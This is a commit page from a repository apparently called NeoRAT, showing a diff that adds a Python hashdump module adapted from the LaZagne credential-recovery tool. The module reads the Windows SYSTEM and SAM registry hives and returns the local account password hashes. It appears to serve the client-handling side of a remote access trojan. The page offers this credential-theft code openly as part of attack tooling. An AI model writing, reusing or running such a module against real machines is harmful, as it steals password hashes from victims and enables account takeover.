summaryrefslogtreecommitdiff
path: root/foreign/client_handling/lazagne/softwares/windows/hashdump.py
diff options
context:
space:
mode:
authorAL-LCL <alvin@alvinhavel.com>2023-05-19 11:01:49 +0200
committerAL-LCL <alvin@alvinhavel.com>2023-05-19 11:01:49 +0200
commit20dbeb2f38684c65ff0a4b99012c161295708e88 (patch)
treea5b8445f55da2fbbb92443b68e9d7354a290c598 /foreign/client_handling/lazagne/softwares/windows/hashdump.py
NeoRATHEADmain
Diffstat (limited to 'foreign/client_handling/lazagne/softwares/windows/hashdump.py')
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/hashdump.py15
1 files changed, 15 insertions, 0 deletions
diff --git a/foreign/client_handling/lazagne/softwares/windows/hashdump.py b/foreign/client_handling/lazagne/softwares/windows/hashdump.py
new file mode 100644
index 0000000..2d53f28
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/hashdump.py
@@ -0,0 +1,15 @@
+# -*- coding: utf-8 -*-
+from .creddump7.win32.hashdump import dump_file_hashes
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.constant import constant
+
+
+class Hashdump(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'hashdump', 'windows', system_module=True)
+
+ def run(self):
+ hashdump = dump_file_hashes(constant.hives['system'], constant.hives['sam'])
+ if hashdump:
+ pwd_found = ['__Hashdump__', hashdump]
+ return pwd_found